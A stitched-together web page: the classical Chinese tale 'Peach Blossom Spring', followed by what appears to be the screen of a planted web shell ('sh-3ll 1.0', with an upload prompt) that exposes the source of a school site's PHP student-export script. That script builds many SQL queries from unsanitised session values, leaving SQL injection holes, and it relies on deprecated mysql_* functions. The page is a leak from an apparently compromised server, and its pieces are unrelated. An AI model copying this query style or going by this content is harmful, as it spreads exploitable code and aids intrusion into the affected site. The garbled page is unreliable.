晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/www/coordinator/
Upload File :
Current File : /home/bolconlineco/www/coordinator/search_reg_expo.php
<?php
ob_start();
session_start();
include('../includes/connection/func.inc.php');

header("Content-type: application/vnd-ms-excel");
header("Content-Disposition: attachment; filename=Student-export.xls");

if(isset($_SESSION['student_search']['Search']))
{

    if(!empty($_SESSION['student_search']['studentId']))
    {

        $studentId=sql_strip($_SESSION['student_search']['studentId']);
        $result=mysql_query("select * from student where rollno='$studentId'");

    }
    elseif(!empty($_SESSION['student_search']['number']))
    {
        
        $number=sql_strip($_SESSION['student_search']['number']);    
        $result=mysql_query("select * from student where mobile='$number'");

    }
    elseif(!empty($_SESSION['student_search']['phone']))
    {
        
        $phone=sql_strip($_SESSION['student_search']['phone']);
        $result=mysql_query("select * from student where phone='$phone'");

    }
    else if(!empty($_SESSION['student_search']['email']))
    {
        
        $email=sql_strip($_SESSION['student_search']['email']);          

        $result=mysql_query("select * from student where email like '%$email%' order by registrationdate asc");        

    }
    else if(!empty($_SESSION['student_search']['firstname']))
    {
        $firstname=sql_strip($_SESSION['student_search']['firstname']);          
        $result=mysql_query("select * from student where fname like '%$firstname%' order by registrationdate asc");      

    }
    else if(!empty($_SESSION['student_search']['lastname']))
    {
        $lastname=sql_strip($_SESSION['student_search']['lastname']);
        $result=mysql_query("select * from student where lname like '%$lastname%' order by registrationdate asc");

    }
    else if(!empty($_SESSION['student_search']['tutor']))
    {
        $tutr=sql_strip($_SESSION['student_search']['tutor']);
        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
                             ac.tutorId='$tutr' order by registrationdate asc");

    }
    else if(!empty($_SESSION['student_search']['country']))
    {
        $country=$_SESSION['student_search']['country'];       
        $result=mysql_query("select * from student where country like '%$country%' order by registrationdate asc");

    }else if(!empty($_SESSION['student_search']['city']))
    {
        $city=sql_strip($_SESSION['student_search']['city']);
        $result=mysql_query("select * from student where city like '%$city%' order by registrationdate asc");

    }
    else if(!empty($_SESSION['student_search']['dob']))
    {
        $dob=$_SESSION['student_search']['dob'];
        $d1=explode('/',$dob);
        $new=$d1[2].'-'.$d1[1].'-'.$d1[0];

        $result=mysql_query("select * from student where dob='$new' order by registrationdate asc");

    }
    else if(!empty($_SESSION['student_search']['registfrom']) && !empty($_SESSION['student_search']['rto'])&& !empty($_SESSION['student_search']['sstatus']))
    {
        
        $date2=$_SESSION['student_search']['registfrom'];
        $full2=explode('/',$date2);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_SESSION['student_search']['rto'];
        $full=explode('/',$date1);
        $sta=$_SESSION['student_search']['sstatus'];

        $rto=$full[2].'-'.$full[1].'-'.$full[0];

        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
        s.registrationdate between '$rfrom' and '$rto' and studentstatus='$sta' order by s.registrationdate asc");

    } 
    else if (!empty($_SESSION['student_search']['registfrom']) && !empty($_SESSION['student_search']['rto'])) 
    {
        $date2=$_SESSION['student_search']['registfrom'];
        $full2=explode('/',$date2);
        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];
        $date1=$_SESSION['student_search']['rto'];
        $full=explode('/',$date1);
        $rto=$full[2].'-'.$full[1].'-'.$full[0];
     
        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
        s.registrationdate between '$rfrom' and '$rto' order by s.registrationdate asc");
 
    }
    else if(!empty($_SESSION['student_search']['compfrom']) && !empty($_SESSION['student_search']['compto']))
    {
        $date2=$_SESSION['student_search']['compfrom'];
        $full2=explode('/',$date2);
        $compfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_SESSION['student_search']['compto'];
        $full=explode('/',$date1);
        $compto=$full[2].'-'.$full[1].'-'.$full[0];

        $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
        s.comp_date between '$compfrom' and '$compto' order by s.registrationdate asc");
         
    }
    else if(!empty($_SESSION['student_search']['taskfrom']) && !empty($_SESSION['student_search']['taskto']))
    {

        $date2=$_SESSION['student_search']['taskfrom'];
        $full2=explode('/',$date2);
        $taskfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_SESSION['student_search']['taskto'];
        $full=explode('/',$date1);
        $taskto=$full[2].'-'.$full[1].'-'.$full[0];

        $task_students_rollnos=[];
        $task_students_rollnos_string = '';
        $sql = "select distinct rollno from  tasks where taskdate between '$taskfrom' and '$taskto'";
        $result = mysql_query($sql, $con);
        if (mysql_num_rows($result))
        {            
            while  ($tRow = mysql_fetch_array($result))
            {
                $task_students_rollnos[] = $tRow['rollno'];
                $task_students_rollnos_string .= $tRow['rollno'] . ',' ;
            }
        }
         
        //$task_students_rollnos_string;
           
        $numrows = count($task_students_rollnos);
        if ($numrows)
        {
            $task_students_rollnos_string=  rtrim($task_students_rollnos_string,',');
        }

        $result=mysql_query("select s.* from student as s  where
                                s.rollno in ($task_students_rollnos_string)");

    } 
    else if(!empty($_SESSION['student_search']['assg_task']))
    {

        $assg_task = $_SESSION['student_search']['assg_task'];
        $task_students_rollnos=[];
        $task_students_rollnos_string = '';
        $sql = "select distinct rollno from tasks where assigned_to = '".$_SESSION['student_search']['assg_task']."'";
        $result = mysql_query($sql, $con);

        if (mysql_num_rows($result))
        {
            while  ($tRow = mysql_fetch_array($result))
            {
                $task_students_rollnos[] = $tRow['rollno'];
                $task_students_rollnos_string .= $tRow['rollno'] . ',' ;
            }
        }
         
        $task_students_rollnos_string;
        $numrows = count($task_students_rollnos);
           
        if ($numrows)
        {
            $task_students_rollnos_string=  rtrim($task_students_rollnos_string,',');
        }
                   
        $result=mysql_query("select s.* from student as s  where s.rollno in ($task_students_rollnos_string)");

    }
    else if(!empty($_SESSION['student_search']['balfrom']) && !empty($_SESSION['student_search']['balto']))
    {
        $balfrom=date($_SESSION['student_search']['balfrom']);
        $balto=date($_SESSION['student_search']['balto']);
           
        $sql_q = "select s.*,abs(sum(f.payble)-sum(f.paid)) as total_dues from student as s 
        join tbl_fees_install as f on s.rollno=f.rollno 
        group by s.rollno having total_dues between '$balfrom' and '$balto'";
        $result=mysql_query($sql_q);

    }
    else if(!empty($_SESSION['student_search']['from']) && !empty($_SESSION['student_search']['to']))
    {
        $formm=date($_SESSION['student_search']['from']);
        $full1=explode('/',$formm);
        $too=date($_SESSION['student_search']['to']);
        $full2=explode('/',$too);
        $f=$full1[2].'-'.$full1[1].'-'.$full1[0];
        $t=$full2[2].'-'.$full2[1].'-'.$full2[0];
        if(isset($_SESSION['student_search']['assg_all']))
        {

            $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where   ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc");
        }
        else if(isset($_SESSION['student_search']['assg_comp']))
        {

            $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=0 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc");

        }
        else
        {
           
            $upload_students_rollnos=[];
            $upload_students_rollnos_string = '';
            $sql = "select distinct rollno from uploadassignment where uploaddate between '$f' and '$t'";
            
            $result = mysql_query($sql, $con);
            if (mysql_num_rows($result))
            {
                while  ($tRow = mysql_fetch_array($result))
                {
                    $upload_students_rollnos[] = $tRow['rollno'];
                    $upload_students_rollnos_string .= $tRow['rollno'] . ',' ;
                }
            }
         
            $upload_students_rollnos_string;
            $numrows = count($upload_students_rollnos);
           
            if($numrows) 
            {
                $upload_students_rollnos_string=  rtrim($upload_students_rollnos_string,',');
            }

            if(!empty($upload_students_rollnos_string))
            {
                $result=mysql_query("select s.* from student as s  where
                                s.rollno in ($upload_students_rollnos_string)");
            }
        }

    }
    else if(!empty($_SESSION['student_search']['category']) && !empty($_SESSION['student_search']['course']))
    {
        $course=sql_strip($_SESSION['student_search']['course']);

        $query="select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno
        where  ac.courseid='$course' order by s.registrationdate asc";
        $result=mysql_query($query) or die(mysql_error());
        $num=mysql_num_rows($result);


    } 
    else if(!empty($_SESSION['student_search']['sstatus']))
    {

        $status=sql_strip($_SESSION['student_search']['sstatus']);
        $result=mysql_query("select * from student where studentstatus='$status' order by registrationdate asc");

    } 
    else if(!empty($_SESSION['student_search']['stage']))
    {

        $stage=sql_strip($_SESSION['student_search']['stage']);
        $result=mysql_query("select * from student where stage='$stage' order by registrationdate asc");

    }
}

?>
<table class="table table-bordered table-hover" id="sample_2">
    <thead>
        <tr>
            <th >#</th>
            <th >Reg Date</th>
            <th>Course</th>
            <th>ID</th>
            <th>First Name</th>
            <th>Last Name</th>
            <th>Country</th>
            <th>Source</th>
            <th>Stage</th>
            <th>Task</th>
            <th>Assignment</th>
            <th>I</th>
            <th>C</th>
            <th>A</th>
            <th>Status</th>
            <th>Login</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $stage_array = array();
        $status_array = array();

        $status_q = mysql_query("SELECT StatusId,StatusName FROM status");
        while($status_res=mysql_fetch_array($status_q))
        {
            $status_array[$status_res['StatusId']] = $status_res['StatusName'];
        }

        $stage_q = mysql_query("SELECT id,title FROM stages");
        while($stage_res=mysql_fetch_array($stage_q))
        {
            $stage_array[$stage_res['id']] = $stage_res['title'];
        }

        $numresult=mysql_num_rows($result);
        $sr=0;
        $number = 1;
        if ($numresult > 0) 
        {
            while($row=mysql_fetch_array($result))
            {

                if(!empty($row['last_login_dateTime'])){
                    $login = date('m-d-Y', strtotime($row['last_login_dateTime']));
                } else {
                    $login = 'No';
                }
                $course_name = '';
                ?>
                <tr>
                    <td><?php echo $number++;?></td>
                    <td><?php  echo date('d/m/Y',strtotime($row['registrationdate']));?></td>
                    <td>
                        <?php 
                            $course_query =" SELECT ac.courseid courseid,courseName FROM `assigncourse` as ac 
                            join course c on c.courseId = ac.courseid
                            where ac.rollno= ".$row['rollno'] . ' limit 1';

                            $qqq=mysql_query($course_query) or die(mysql_errno());

                            if (mysql_num_rows($qqq)) 
                            {
                                $fetch=mysql_fetch_array($qqq);
                                $course_name =$fetch['courseName'];
                                $course_id =$fetch['courseid'];
                            }

                            echo $course_name;
                        ?>
                    </td>
                    <td><a href="studentInfo.php?Id=<?php echo $row['rollno']; ?>" target="_new" ><?php echo $row['rollno'];?></a></td>
                    <td><?php echo $row['fname'];?></td>
                    <td><?php echo $row['lname']; ?></td>
                    <td><?php echo $row['country'];?></td>
                    <td><?php echo $row['admission_source'];?></td>
                    <td><?php echo array_key_exists($row['stage'], $stage_array) ?$stage_array[$row['stage']]:''; ?></td>
                    <td>
                        <?php
                            $q="select taskdate from tasks where taskstatus=0 and rollno=".$row['rollno'];
                            $r=mysql_query($q) or die(mysql_error());
                            if(mysql_num_rows($r)>0)
                            {
                                while($rows=mysql_fetch_array($r))
                                {
                                    $fulls=explode('-',$rows['taskdate']);
                                    $year=$fulls[0];
                                    $month=$fulls[1];
                                    $day=$fulls[2];
                                    $date=$day.'/'.$month.'/'.$year;
                                    echo $date.'</br>';
                                }
                            }
                            else
                            {
                                echo "No Tasks";
                            }
                        ?>
                    </td>
                    <td>
                        <?php
                            $total_ass="";
                            $total_issue="";
                            $upload_assing_date = "N/A";
                            $q11 = "select SAid,AssignmentStatus,uploaddate,uploadstatus  from topic t
                            left join studentassignment sa on sa.topicId = t.topicId
                            left join uploadassignment ua on sa.SAid  = ua.assignmentId
                            where t.courseId = '".$course_id."'
                            and  sa.rollno = '".$row['rollno']."'";;

                            $result11 = mysql_query($q11) or die(mysql_error());
                            $total_ass = mysql_num_rows($result11);
                            $total_issue= 0;
                            while($rowset = mysql_fetch_array($result11))
                            {
                                if ($rowset['AssignmentStatus']==1) 
                                {
                                    $total_issue++;
                                }elseif ($rowset['AssignmentStatus']==2) 
                                {
                                    if ($rowset['uploadstatus']==1) 
                                    {
                                        $d1=$rowset['uploaddate'];
                                        $full = explode('-',$d1);
                                        $year = $full[0];
                                        $month=$full[1];
                                        $day=$full[2];
                                        $dat=$day.'/'.$month.'/'.$year;
                                        $upload_assing_date = $dat;
                                    }
                                }
                            }

                            echo $upload_assing_date;
                        ?>
                    </td>
                    <td><?php  echo $total_issue; ?></td>
                    <td><?php echo $total_ass-$total_issue; ?></td>
                    <td><?php  echo $total_ass; ?></td>
                    <td>
                        <?php echo array_key_exists($row['studentstatus'], $status_array) ?$status_array[$row['studentstatus']]:'';?>
                    </td>
                    <td><?php echo $login; ?></td>
                </tr>
            <?php
            }// end while loop
        }//end if statement
        else
        {
        ?>
            <tr><td colspan="16">There is no record found against your search.</td></tr>
        <?php
        }
        ?>
    </tbody>
</table>